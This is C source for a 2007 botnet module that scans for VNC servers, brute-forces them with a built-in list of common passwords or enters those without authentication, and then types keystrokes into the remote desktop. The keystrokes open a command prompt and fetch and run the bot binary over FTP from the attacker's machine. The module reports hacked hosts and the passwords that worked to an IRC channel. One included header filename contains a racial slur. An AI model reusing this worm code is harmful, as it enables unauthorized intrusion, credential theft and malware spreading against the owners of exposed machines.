vncexploit.c

/*
 *      vncexploit.c 2007 Ravo_5002
 *      This code is for educational purposes only...
 *      Took some code from dej and from tightvnc :)
 */

#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#include "vncexploit.h"
#include "niggerbot.h"
#include "config.h"
#include "d3des.h"

void SendKey(SOCKET sock, char bkey, char key, int state)
{
   char sendkey[8];

   // compose packet
   memset(sendkey, '\x04', 1);

   if (state == 0 || state == 1)
      memset(sendkey + 1, state, 1);
   else
      memset(sendkey + 1, 1, 1);

   memset(sendkey + 2, 0, 4);
   memset(sendkey + 6, bkey, 1);
   memset(sendkey + 7, key, 1);

   send(sock, sendkey, sizeof(sendkey), 0);

   if (state > 1)
   {
      memset(sendkey + 1, 0, 1);
      send(sock, sendkey, sizeof(sendkey), 0);
   }
}

void VNCRoot(SOCKET sVNC, char *ftp) {
   char text_cmd[] = "command";
   char text_exit[] = "exit";
   char bkey = '\xff',
       keyctrl = '\xe3',

keyup = '\x52',
       keyenter = '\x0d',
       keyesc = '\x1b';
   unsigned int i;

   Sleep(2000);

   //Press ENTER (in case of screensaver)
   SendKey(sVNC, bkey, keyenter, 2);
   Sleep(500);

   Sleep(2000);
SendKey(sVNC, bkey, keyctrl, 1);
SendKey(sVNC, bkey, keyesc, 1);
Sleep(100);
SendKey(sVNC, bkey, keyctrl, 0);
SendKey(sVNC, bkey, keyesc, 0);
   //If its Windows2k

   for (i = 0; i < 3; i++)
   {
      SendKey(sVNC, bkey, keyup, 2);
      Sleep(500);
   }

   //Press ENTER
   SendKey(sVNC, bkey, keyenter, 2);
   Sleep(2000);

   //type in "cmd"
   for (i = 0; i < strlen(text_cmd); i++)
   {
      SendKey(sVNC, 0, text_cmd[i], 2);
      Sleep(125);
   }

   //press ENTER
   SendKey(sVNC, bkey, keyenter, 2);
   Sleep(2000);

   //send ftp line
   for (i = 0; i < strlen(ftp); i++)
   {
      SendKey(sVNC, 0, ftp[i], 2);
      Sleep(125);
   }

   //press ENTER
   SendKey(sVNC, bkey, keyenter, 2);
   Sleep(2000);

   SendKey(sVNC, bkey, keyenter, 2);
   //type in "cmd"
   for (i = 0; i < strlen(text_exit); i++)
   {
      SendKey(sVNC, 0, text_exit[i], 2);
      Sleep(125);
   }
      //press ENTER
   SendKey(sVNC, bkey, keyenter, 2);
   Sleep(2000);
}

int ReadExact(SOCKET r_sock, char *inbuf, int wanted) {

   int offset = 0;

   while (wanted > 0) {
      int bytes = recv(r_sock, inbuf+offset, wanted, 0);
      if ((bytes == 0) || (bytes == SOCKET_ERROR)) return 0;
      wanted -= bytes;
      offset += bytes;
   }

   return 1;
}

int WriteExact(SOCKET w_sock, char *buf, int bytes) {

   if (bytes == 0) return FALSE;

   int i = 0;
    int j;

    while (i < bytes) {
      j = send(w_sock, buf+i, bytes-i, 0);
      if (j == SOCKET_ERROR || j==0) return 0;
      i += j;
    }

   return 1;
}

void vncEncryptBytes(unsigned char *bytes, char *passwd) {
    unsigned char key[8];
    unsigned int i;

    /* key is simply password padded with nulls */

    for (i = 0; i < 8; i++) {
    if (i < strlen(passwd)) {
        key[i] = passwd[i];
    } else {
        key[i] = 0;
    }
    }

    deskey(key, EN0);

    for (i = 0; i < 16; i += 8) {
        des(bytes+i, bytes+i);
    }
}

int vnccheck(char *host, char *passwd, SOCKET ircconn) {

    SOCKET sock;
    SOCKADDR_IN ssin;
    ssin.sin_family = AF_INET;
    ssin.sin_port = htons(5900);
    ssin.sin_addr.s_addr= inet_addr(host);

    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin))) {
        //printf("[-] Could not connect\n");
        return 1;
    }

    char buff[4096];

    char ftpline[256];
    sprintf(ftpline, "echo open %s %d > ravo &echo user %s %s >> ravo &echo get %s >> ravo &echo bye >> ravo &ftp -n -v -s:ravo &del ravo &%s\r\n", getlocalip(), FTPPORT, "Ravo", "5002", BOTNAME, BOTNAME);

    unsigned char vncversion[12];
    ReadExact(sock, vncversion, sizeof(vncversion));
    if(strstr(vncversion, "RFB")) {
        WriteExact(sock, vncversion, sizeof(vncversion));
        strtok(vncversion, " ");
        int versa = atoi(strtok(NULL, "."));
        int versb = atoi(strtok(NULL, "\n"));
        //printf("[+] Found VNC %d.%d\n", versa, versb);

        char auth[4];
        ReadExact(sock, auth, 4);

        if(auth[1] == 1 || auth[3] == 1) {
            //printf("[+] VNC NoAuth!\n");
            sprintf(buff, "PRIVMSG %s :VNC v%d.%d with no pass on host %s\n", CHANNEL, versa, versb, host);
            send(ircconn,buff, strlen(buff), 0);
            WriteExact(sock, "\0", 1);
            VNCRoot(sock, ftpline);
            closesocket(sock);
            return 1;
        }
        else if(auth[1] == 2 || auth[3] == 2) {
            //printf("[+] VNC needs pass lets brewtf0rc3\n");
            char funk[1];
            //funk = "0\n";
            funk[0] = auth[1];
            //funk[1] = '\n';
            //printf("funk:\n%s\n%d %d\n", funk, funk[0], funk[1]);

            WriteExact(sock, funk, 1);  // WTF? I NEED 2 send sumthing or ill not get the challenge
            unsigned char challenge[16];
            ReadExact(sock, challenge, 16);


            vncEncryptBytes(challenge, passwd);

            WriteExact(sock, challenge, 16); // send encrypted shit

            // see wtf the status is
            unsigned char status[4];
            ReadExact(sock, status, 4);
            if(status[3] == 0) {
                //printf("[+] pass ok\n");
                sprintf(buff, "PRIVMSG %s :[VNC] v%d.%d with pass %s on ip %s\n", CHANNEL, versa, versb, passwd, host);
                send(ircconn,buff, strlen(buff), 0);
                WriteExact(sock, "\0", 1);
                VNCRoot(sock, ftpline);
                closesocket(sock);
                return 1;
            }
            else if(status[3] == 1) {
                //printf("[-] pass wrong\n");
                return 0;
            }
            else if(status[3] == 1) {
                //printf("[-] 2much connections\n");
                return 2;
            }
        }
        else if(auth[1] ==0) {
            return 1;
        }
    }
    closesocket(sock);
    return 0;
}

void vncscan(SOCKET ircconn, char *ip) {
    char *passes[] = { "1234", "password", "12345678", "qwerty", "123", "vnc", "login", NULL };
    int i = 0;
    int status;
    while(passes[i] != NULL) {
        status = vnccheck(ip, passes[i], ircconn);
        if(status == 1) break;
        if(status == 2) Sleep(20000);
        i++;
        Sleep(500);
    }
    return;
}